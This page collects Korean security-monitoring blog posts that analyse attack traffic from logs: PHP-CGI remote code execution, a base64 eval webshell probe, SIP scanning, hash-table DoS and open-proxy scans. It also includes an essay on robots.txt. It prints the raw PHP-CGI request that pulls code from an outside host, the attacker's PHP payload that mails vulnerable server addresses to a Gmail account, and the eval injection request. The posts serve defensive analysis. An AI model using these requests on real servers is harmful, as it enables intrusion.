UDP Flooding의 경우, 잘못된 서비스 포트로 UDP 패킷이 전달되었을때 발생하는 ICMP Destination Port Unreachable 메시지가 비정상적으로 다수 발생


GET index.php/?-d allow_url_include=On -d auto_prepend_file=http://netsunucum.com/status/-/d.txt

위 요청은 외부의 파일을 include, include_once, require, require_once 와 같은 파일로 include 허용시키고, http://netsunucum.com/status/-/d.txt 파일을 실행키려는 것이다.(index.php를 나중에 실행한다.)
http://netsunucum.com/status/-/d.txt 파일의 내용은 아래와 같다.

 

SP4M3R
<?php
$from = "INBOX <h4x0r@r0x.com">";
$sentTo = "vaidominio2@gmail.com";
$subject = "VULN r0x";
$msg_body = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$header_info = "From: ".$from;
mail($sentTo, $subject, $msg_body, $header_info);
?>

php 웹 서버가 취약하면, 위의 코드가 실행되서 공격자의 gmail계정으로 서버명과 요청 URI가 전송된다.


 1. 서론

포스트리뷰중에 'robots.txt 파일에 접근하는 클라이언트를 차단 하는것이 적절한가' 라는 주제로 얘기했던게 생각나서, 해킹과 보안 관점에서 robots.txt를 정리해봤다.

사진출처 : harcoder


 2. robots.txt란?

robots.txt는 로봇 배제 표준(robots exclusion protocol)으로 알려진 규약으로서 해당 웹사이트에 대한 크롤링 지침을 전달하기 위한 용도로 사용된다. 쉽게 말해 접근 가능/불가능한 페이지, 디렉토리, 크롤러를 명시함으로서 크롤러를 제어 할 수있는 파일이다. 하지만 robots.txt 파일에 페이지, 디렉토리, 크롤러를 명시한다고 해도 접근이 불가능한 것은 아니다. 파일에 명시한 내용은 단순 '규약' 일뿐, 이를 어긴다고 문제가 될 건 없기 때문이다. 또한, 일반적인 웹 브라우저를 통해서 접근하는 클라이언트는 제어 할 수 없다.

 3. 해킹 관점에서의 robots.txt

민감한 정보를 포함하고 있는 'juicy'라는 페이지가 존재하고, 이 페이지의 경로는 관리자만 알고 있다고 가정해보자. 그럼 무차별 대입(Brute force)과 추측(Guessing) 방법 이외에는 이 페이지의 존재여부를 알 수 없을 것이다. 하지만 악의적 목적을 가진 해커가 robots.txt 파일에 접근하여 'juicy' 페이지가 Disallow로 설정 된 것을 확인한다면, 'juicy' 페이지에 흥미로운 정보가 있다고 추측 할 것이고, 해당 페이지에 접근하여 민감한 정보를 획득하려고 할 것이다. 하지만 접근제어 설정이 적용되어 있어서 'juicy' 페이지에 접근하지 못해도, 해커가 정보를 취할 수 있는 여지는 남아있다. 서버 운영자의 접근제어 설정 실수를 노리고 해당 페이지에 매일 접근 시도를 할 수도 있고, Disallow 설정이 되 있지만, 접근 제어 설정은 되 있지 않은 다른 페이지에 접근해서 주석처리 된 id/password를 운 좋게 획득할 수도 있다. 또한 robots.txt 파일의 내용을 통해 해당 서버의 디렉토리 구조도 어느 정도 파악하는 등 해커에게 정보를 제공할 수 있다. 이러한 이유 때문에 일부 취약점 스캐너들은 robots.txt 파일을 점검 항목에 포함한다. 아래 그림은 취약점 스캐너 Nikto의 점검 결과이다.


 4. 보안 관점에서의 robots.txt

침해사고를 예방하기 위해 취약점 점검을 받으면 robots.txt 파일이 없기 때문에, 대형검색엔진의 크롤러 봇들에 의해 개인정보가 노출될 가능성이 있다는 진단 결과를 받을 수도 있다. 하지만 앞서 살펴 봤듯이 robots.txt는 누구나 접근가능하고, 해커에게 정보를 제공할 수도 있는 파일이므로 접근제어 설정과의 적절한 조화가 필요하다. 먼저 로봇 배제 표준보다 접근제어 설정이 우선시 되어야하며, 클라이언트에게 [403]Forbidden 페이지보다는 [404]Not Found 페이지를 보여주도록 함으로써, 해커에게 정보를 주지 않도록 한다. 또한, 로봇 배제 표준은 크롤러의 접근을 제어하는 것이 목적이므로, Disallow 설정보다 User-agent 설정을 우선시하여, Disallow 설정으로 보여지는 디렉토리와 페이지 정보를 최소화 해야한다.

 5. 결론

이 글을 작성한 이유인 'robots.txt 파일에 접근하는 클라이언트를 차단 하는것이 적절한가'에 대한 나의 주장은 '당연히 차단해야 한다' 였다. 하지만 스캐닝성으로 robots.txt 파일에 접근하는 모든 IP의 웹로그를 일일히 분석하여 차단 근거를 확인 할 수는 없으므로, 개발자와 서버 운영자들이 정보보안에 관심을 가지고 적극적으로 협조하려는 자세가 동시에 수반되어야 할 것이다.



참고
https://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard
http://www.hacoder.com/2015/10/what-exactly-is-robots-txt-file/

'보안관제 > 보안관제 이벤트' 카테고리의 다른 글

중국 만리장성 방화벽  (0) 2016.01.06
PHP Remote Code Execution and Sending E-mail  (0) 2015.12.01
User-Agent: friendly-scanner  (0) 2015.11.25
base64 encode PHP Execute  (0) 2015.11.25
Hash Table DOS  (0) 2015.11.24

User-Agent: friendly-scanner
friendly-scanner는 SIP/VoIP 포트 스캐너로, 포트를 발견하면 추가적으로 무차별 인증시도를 한다.

RAWDATA

OPTIONS ~~~~
D_port:5060(VoIP)

From: "sipvicious"', User-Agent: friendly-scanner

참고
https://www.youtube.com/watch?v=Zp_gzjV8l4c

base64 encode PHP Execute


RAWDATA

POST/index.php?s=/abc/abc/abc/${@print(eval($_POST[c]))}

c=@eval(base64_decode($_POST[x0]));

x0=ZWNobyAiLT58MTIzfDwtIjs=


s=/abc/abc/abc/${@print(eval($_POST[c]))}

공격자는 HTTP Requset에 따른 Response를 바로 확인하기 위해 print 함수를 사용하고, 이를 통해 취약한 서버임을 확인 할 수 있다.


c=@eval(base64_decode($_POST[x0]));

취약한 서버임을 알게되면, c 파라미터의 eval 함수를 통해 코드 실행을 시도 한다.
여기서 base_decode 함수를 사용하는 이유는 x0 파라미터 값을 디코딩하기 위해서이다.

x0=ZWNobyAiLT58MTIzfDwtIjs=
echo "->|123|<-";

위는 x 0 파라미터를 base64로 디코딩한 결과 값이다. IDS/IPS/WAF 등 보안 장비를 우회하기 위한 방법이다.

만약 공격이 성공했다면 ->|123|<-를 출력한다.

Hash Table DOS


GET, POST 메소드로 전송되는 파라미터 값을 접근하기 쉽고 빠르게 하기 위해 Hash Table 구조로 관리

많은 파라미터 요청 시 Hash Table 충돌발생 → CPU 부하 → 서비스 지연 or 서비스 불가


*회원가입 페이지 또는 게시글 업로드 페이지를 작성 후에 POST 메소드로 전송되는 Content-Disposition의 수가 많을 경우, 일부 오탐 가능성이 있을 수 있으므로 적절한 임계치 설정이 필요함

HTTP CONNECT Proxy Request


RAWDATA

CONNECT mx0.mail2000.com.tw:25

CONNECT mx1.mail2000.com.tw:25

CONNECT mx2.mail2000.com.tw:25

CONNECT mx3.mail2000.com.tw:25


공격자들은  HTTP CONNECT 메소드로 Open proxy 서버를 스캔하고, Open Proxy 취약점이 있을 경우 SMTP 포트로 붙어 스팸메일을 보내거나 기타 공격을 할 수 있음


*Open Proxy : 누구나 자유롭게 접속하여 사용할 수 있는 프록시 서버

+ Recent posts